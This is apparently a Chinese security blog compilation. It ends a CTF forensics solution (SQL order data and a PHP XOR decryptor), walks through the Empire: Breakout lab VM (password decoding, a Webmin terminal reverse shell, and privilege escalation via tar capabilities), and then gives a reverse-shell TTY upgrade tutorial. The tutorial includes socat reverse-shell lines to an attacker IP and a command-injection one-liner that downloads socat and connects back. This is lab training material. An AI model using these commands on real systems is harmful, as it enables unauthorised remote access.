INSERT INTO "public"."tab_channel_order_list" VALUES (1667, '731272590033', 'GG币', NULL, '2022-04-11 08:17:29', 5, 3, 'nJpvlWtr');
INSERT INTO "public"."tab_channel_order_list" VALUES (1676, '266051494236', 'GG币', NULL, '2022-04-11 08:51:14', 5, 3, 'mJxym25s');
INSERT INTO "public"."tab_channel_order_list" VALUES (1677, '952748053664', 'GG币', NULL, '2022-04-11 08:51:59', 5, 3, 'lpVqnWxv');
INSERT INTO "public"."tab_channel_order_list" VALUES (1721, '432188794976', 'GG币', NULL, '2022-04-11 14:00:17', 5, 3, 'mZVvl3Fq');
INSERT INTO "public"."tab_channel_order_list" VALUES (1730, '923396563975', 'GG币', NULL, '2022-04-11 16:47:41', 5, 3, 'lZVtlW5m');
INSERT INTO "public"."tab_channel_order_list" VALUES (1731, '188214551206', 'GG币', NULL, '2022-04-11 16:48:30', 5, 3, 'lZRqlGhn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1737, '562343715793', 'GG币', NULL, '2022-04-11 17:44:21', 5, 3, 'nJxqm2hn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1788, '723775062575', 'GG币', NULL, '2022-04-11 23:59:53', 5, 3, 'nJVtl21s');
INSERT INTO "public"."tab_channel_order_list" VALUES (1814, '437640662866', 'GG币', NULL, '2022-04-12 04:52:14', 5, 3, 'lJdumWlq');
INSERT INTO "public"."tab_channel_order_list" VALUES (1847, '261181748262', 'GG币', NULL, '2022-04-12 08:07:42', 5, 3, 'mJtxmGtp');
INSERT INTO "public"."tab_channel_order_list" VALUES (1866, '520680592708', 'GG币', NULL, '2022-04-12 10:10:57', 5, 3, 'mZxsnHFv');
INSERT INTO "public"."tab_channel_order_list" VALUES (1893, '846224640296', 'GG币', NULL, '2022-04-12 13:45:48', 5, 3, 'lpdtl2xn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1901, '526823225486', 'GG币', NULL, '2022-04-12 14:27:33', 5, 3, 'mphqlm5p');
INSERT INTO "public"."tab_channel_order_list" VALUES (1919, '293881600039', 'GG币', NULL, '2022-04-12 17:33:24', 5, 3, 'lJdxlGpn');
INSERT INTO "public"."tab_channel_order_list" VALUES (1986, '252943398463', 'GG币', NULL, '2022-04-13 02:42:54', 5, 3, 'lpVvlHFu');
INSERT INTO "public"."tab_channel_order_list" VALUES (2050, '841971039165', 'GG币', NULL, '2022-04-13 10:41:00', 5, 3, 'lJhvmHBn');
INSERT INTO "public"."tab_channel_order_list" VALUES (2051, '113568559627', 'GG币', NULL, '2022-04-13 10:46:38', 5, 3, 'l5xunGtv');
INSERT INTO "public"."tab_channel_order_list" VALUES (2059, '884517377766', 'GG币', NULL, '2022-04-13 12:12:35', 5, 3, 'lZRul2pt');
INSERT INTO "public"."tab_channel_order_list" VALUES (2065, '429478659168', 'GG币', NULL, '2022-04-13 12:47:08', 5, 3, 'mpdqnGxu');
INSERT INTO "public"."tab_channel_order_list" VALUES (2081, '701817809209', 'GG币', NULL, '2022-04-13 15:06:14', 5, 3, 'l5Zxlmho');
INSERT INTO "public"."tab_channel_order_list" VALUES (2093, '648527268061', 'GG币', NULL, '2022-04-13 17:34:17', 5, 3, 'lJppmWhq');
INSERT INTO "public"."tab_channel_order_list" VALUES (2118, '346397347560', 'GG币', NULL, '2022-04-13 21:20:16', 5, 3, 'nJVylWpp');
INSERT INTO "public"."tab_channel_order_list" VALUES (2121, '598070757264', 'GG币', NULL, '2022-04-13 21:49:38', 5, 3, 'm5VxnWlr');
INSERT INTO "public"."tab_channel_order_list" VALUES (2144, '385475471817', 'GG币', NULL, '2022-04-14 00:45:19', 5, 3, 'lpdsnGtq');
INSERT INTO "public"."tab_channel_order_list" VALUES (2152, '860407002245', 'GG币', NULL, '2022-04-14 02:02:07', 5, 3, 'mZ1tnGpt');
INSERT INTO "public"."tab_channel_order_list" VALUES (2175, '876730476520', 'GG币', NULL, '2022-04-14 07:03:09', 5, 3, 'mJVqmmtq');
INSERT INTO "public"."tab_channel_order_list" VALUES (2226, '705271590445', 'GG币', NULL, '2022-04-14 12:55:39', 5, 3, 'l5hslWhm');
INSERT INTO "public"."tab_channel_order_list" VALUES (2260, '778005846695', 'GG币', NULL, '2022-04-14 17:39:20', 5, 3, 'lZZtl21r');
INSERT INTO "public"."tab_channel_order_list" VALUES (2265, '429472355879', 'GG币', NULL, '2022-04-14 19:00:35', 5, 3, 'nJlumGlm');
INSERT INTO "public"."tab_channel_order_list" VALUES (2279, '837352974915', 'GG币', NULL, '2022-04-14 21:44:54', 5, 3, 'lJhsmW9t');
INSERT INTO "public"."tab_channel_order_list" VALUES (2304, '206040245526', 'GG币', NULL, '2022-04-15 01:40:08', 5, 3, 'lZZym25s');
INSERT INTO "public"."tab_channel_order_list" VALUES (2347, '214154454225', 'GG币', NULL, '2022-04-15 08:01:16', 5, 3, 'l5tpnHBt');
INSERT INTO "public"."tab_channel_order_list" VALUES (2353, '539433927736', 'GG币', NULL, '2022-04-15 09:22:24', 5, 3, 'nJVunG1q');
INSERT INTO "public"."tab_channel_order_list" VALUES (2371, '614328206854', 'GG币', NULL, '2022-04-15 12:43:40', 5, 3, 'mJdtlHFu');
INSERT INTO "public"."tab_channel_order_list" VALUES (2373, '744073817220', 'GG币', NULL, '2022-04-15 12:59:32', 5, 3, 'mpVtlnFp');
INSERT INTO "public"."tab_channel_order_list" VALUES (2386, '472576318606', 'GG币', NULL, '2022-04-15 15:44:12', 5, 3, 'mplrnG1t');
INSERT INTO "public"."tab_channel_order_list" VALUES (2393, '905356397967', 'GG币', NULL, '2022-04-15 16:21:55', 5, 3, 'mJ1ylHBr');
INSERT INTO "public"."tab_channel_order_list" VALUES (2408, '202047690664', 'GG币', NULL, '2022-04-15 18:52:56', 5, 3, 'nJhynG5m');
INSERT INTO "public"."tab_channel_order_list" VALUES (2419, '660557237414', 'GG币', NULL, '2022-04-15 20:02:34', 5, 3, 'mplymG1r');
INSERT INTO "public"."tab_channel_order_list" VALUES (2518, '284536429033', 'GG币', NULL, '2022-04-16 09:06:00', 5, 3, 'lJtxlGxo');
INSERT INTO "public"."tab_channel_order_list" VALUES (2537, '846259865921', 'GG币', NULL, '2022-04-16 13:46:20', 5, 3, 'lpRxnGlm');
INSERT INTO "public"."tab_channel_order_list" VALUES (2539, '914271862202', 'GG币', NULL, '2022-04-16 13:54:39', 5, 3, 'mZxwnG5s');
INSERT INTO "public"."tab_channel_order_list" VALUES (2569, '230868458507', 'GG币', NULL, '2022-04-16 18:43:11', 5, 3, 'mZptnWpn');
INSERT INTO "public"."tab_channel_order_list" VALUES (2592, '580327294210', 'GG币', NULL, '2022-04-16 22:20:02', 5, 3, 'mJZylGxq');
INSERT INTO "public"."tab_channel_order_list" VALUES (2601, '113725129935', 'GG币', NULL, '2022-04-16 23:57:42', 5, 3, 'mZZvm3Fo');
INSERT INTO "public"."tab_channel_order_list" VALUES (2614, '125295831828', 'GG币', NULL, '2022-04-17 01:33:33', 5, 3, 'lJdxnW9t');
INSERT INTO "public"."tab_channel_order_list" VALUES (2622, '304246628524', 'GG币', NULL, '2022-04-17 02:02:29', 5, 3, 'lZtxmXFv');
INSERT INTO "public"."tab_channel_order_list" VALUES (2636, '949878301272', 'GG币', NULL, '2022-04-17 04:33:37', 5, 3, 'nJxtlXFm');
INSERT INTO "public"."tab_channel_order_list" VALUES (2642, '236806705755', 'GG币', NULL, '2022-04-17 05:17:45', 5, 3, 'mJZumW1r');
INSERT INTO "public"."tab_channel_order_list" VALUES (2644, '219250916132', 'GG币', NULL, '2022-04-17 05:36:23', 5, 3, 'nJ1tmG1p');
INSERT INTO "public"."tab_channel_order_list" VALUES (2653, '856797267940', 'GG币', NULL, '2022-04-17 06:50:17', 5, 3, 'mplslmpu');
INSERT INTO "public"."tab_channel_order_list" VALUES (2709, '829562956572', 'GG币', NULL, '2022-04-17 12:14:25', 5, 3, 'lJZxlG5p');
INSERT INTO "public"."tab_channel_order_list" VALUES (2751, '904086289177', 'GG币', NULL, '2022-04-17 18:58:49', 5, 3, 'nJtxmXBq');
INSERT INTO "public"."tab_channel_order_list" VALUES (2796, '568416612736', 'GG币', NULL, '2022-04-18 00:23:41', 5, 3, 'lZdxmmtq');
INSERT INTO "public"."tab_channel_order_list" VALUES (2817, '987519535765', 'GG币', NULL, '2022-04-18 02:35:20', 5, 3, 'lJdrlG1o');
INSERT INTO "public"."tab_channel_order_list" VALUES (2880, '657461012245', 'GG币', NULL, '2022-04-18 11:18:57', 5, 3, 'mpZtmmlm');
INSERT INTO "public"."tab_channel_order_list" VALUES (2906, '278546157230', 'GG币', NULL, '2022-04-18 13:32:32', 5, 3, 'mJVxnGpm');
INSERT INTO "public"."tab_channel_order_list" VALUES (2921, '999235838187', 'GG币', NULL, '2022-04-18 14:45:06', 5, 3, 'mJVwmWxu');
INSERT INTO "public"."tab_channel_order_list" VALUES (2935, '861319935688', 'GG币', NULL, '2022-04-18 16:24:05', 5, 3, 'mplslWps');

最后字符串就是金额,然后利用上一题的加密算法进行解密

<?php
$data = '';
$key = 'jyzg123456';
header('Content-type:textml;charset=utf-8');
$key = md5($key);
$x = 0;
$data = base64_decode($data);
$len = mb_strlen($data);
$l = mb_strlen($key);
$char = '';
$str = '';
for ($i = 0; $i < $len; $i++) {
    if ($x == $l) {
        $x = 0;
    }
    $char .= mb_substr($key, $x, 1);
    $x++;
}
for ($i = 0; $i < $len; $i++) {
    if (ord(mb_substr($data, $i, 1)) < ord(mb_substr($char, $i, 1))) {
        $str .= chr((ord(mb_substr($data, $i, 1)) + 256) - ord(mb_substr($char, $i, 1)));
    } else {
        $str .= chr(ord(mb_substr($data, $i, 1)) - ord(mb_substr($char, $i, 1)));
    }
}
echo $str;

image.png

每天汇率不同,在sql文件里有描述:

image.png

INSERT INTO "public"."info_bargain" VALUES ('2', 'RMB', 0.04, '2022-04-02 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('3', 'RMB', 0.06, '2022-04-03 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('4', 'RMB', 0.05, '2022-04-04 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('5', 'RMB', 0.07, '2022-04-05 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('6', 'RMB', 0.10, '2022-04-06 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('7', 'RMB', 0.15, '2022-04-07 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('8', 'RMB', 0.17, '2022-04-08 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('9', 'RMB', 0.23, '2022-04-09 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('10', 'RMB', 0.22, '2022-04-10 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('11', 'RMB', 0.25, '2022-04-11 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('12', 'RMB', 0.29, '2022-04-12 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('13', 'RMB', 0.20, '2022-04-13 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('14', 'RMB', 0.28, '2022-04-14 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('15', 'RMB', 0.33, '2022-04-15 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('16', 'RMB', 0.35, '2022-04-16 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('17', 'RMB', 0.35, '2022-04-17 00:00:00');
INSERT INTO "public"."info_bargain" VALUES ('18', 'RMB', 0.37, '2022-04-18 00:00:00');

数据不多总共132条,可以直接手撕,计算公式就是解密后数量乘以当天汇率,结果为:15758353.76

EMPIRE:BREAKOUT

跟前面的靶机相比这篇太简单了,但它是个系列,从第一篇开始吧。

靶机描述

This box was created to be an Easy box, but it can be Medium if you get lost.

For hints discord Server ( https://discord.gg/7asvAhCEhe )

这个盒子是一个简单的盒子,但如果你迷路了,它就变成中等的了。

信息搜集

目标确认

攻击机Kali IP:192.168.93.131

靶机 IP:192.168.93.140

image.png

开放 80 & 139 & 445 & 10000 & 20000端口

image.png

目录扫描:

image.png

image.png

这个地方可以看到Apache版本是2.4,记一下,说不定会用到。

回到主页,发现有提示:

image.png

应该是Brainfuck,解密一下:

.2uqPEfj3D<P'a-3

image.png

10000端口和20000端口都是一个登录界面:

image.png

漏洞利用

10000端口和2000端口的面板其实并不一样,尝试登录20000端口的面板;

在nmap的扫描结果中可以看到安装了Samba 4.6.2版本,所以用 enum4linux 扫描一下 SMB 服务器中的用户:

image.png

  • Username:cyber
  • Password:.2uqPEfj3D<P'a-3

登陆以后,在左下角可以看到终端操作,利用这个我们可以尝试弹shell到kali上:

image.pngimage.png

在当前目录下,可以看到user.txt,找到了第一个flag

image.png

3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

提权

在当前目录下可以看到有一个tar文件,利用命令查看相关属性:

file tar  #查看文件类型
getcap tar #查看和设置程序文件的 capabilities 属性

image.png

cap_dac_read_search=ep功能。可以读取文件。

/var/backups/目录下可以看到备份文件.old_pass.bak,cat的话权限不够,这个地方就用到了上面的tar命令,用法可以--help

image.png

image.png

找到密码,切换root用户 & 升级shell

image.png

Linux 反向 shell 升级为完全可用的 TTY shell

前言

最近一周在打靶机,要弹shell,为了shell更加美观且易于操作,就浅浅写一下~

升级远程shell(仅限于Unix机器)

通常,在通过 nc 捕获 shell 之后,会在一个功能非常有限的 shell 中。例如没有命令历史记录(并使用“向上”和“向下”箭头循环浏览它们)和文件名称、命令自动完成等。在缺少这些功能的 shell 中查询或操作会比较麻烦。

注意 :要检查 shell 是否是 TTY shell,请使用 tty 命令。

rlwrap

可以通过使用 rlwrap 命令包装 nc 侦听器来减轻对 shell 的一些限制。默认情况下不会安装它,需要使用 sudo apt rlwrapapt-get install rlwrap 安装。

rlwrap nc -lvnp $port

使用python升级到完全交互式shell

  1. 连接到shell以后,先检查一下python的可用性,可以用which命令:

    which python python2 python3

只要安装了其中任何一个,就将返回已安装二进制文件的路径。

  1. 在shell中输入命令

    python3 -c 'import pty;pty.spawn("/bin/bash")';
  2. 接下来,在靶机上输入以下命令来设置一些重要的环境变量:

    export SHELL=bash
    export TERM=xterm-256color #允许 clear,并且有颜色
  3. ctrl+z将shell发送到后台

  4. 设置 shell 以通过反向 shell 发送控制字符和其他原始输入。使用stty命令来执行此操作:

    stty raw -echo;fg

回车一次后输入 reset 再回车将再次进入 shell 中,TTY shell升级完毕

其他语言写入交互式 shell:

echo os.system('/bin/bash')
/bin/sh -i

#python3
python3 -c 'import pty; pty.spawn("/bin/sh")'

#perl
perl -e 'exec "/bin/sh";'

#ruby
exec "/bin/sh"
ruby -e 'exec "/bin/sh"'

#lua
lua -e "os.execute('/bin/sh')"

使用 socat

另一种方法是将 socat 二进制文件上传到靶机并获得一个完全交互式的 shell。从 https://github.com/andrew-d/static-binaries 下载适当的二进制文件。Socat 需要在两台机器上才能工作。

#在本地监听::
socat file:`tty`,raw,echo=0 tcp-listen:4444

#靶机:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果在命令注入的地方注入反弹 shell,获得即时完全交互式的反向 shell:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果靶机访问不了互联网,就先把 socat 文件下载下来,开启 http 服务,然后将上面的路径指向你的本地地址。

也可以走scp下载这条路。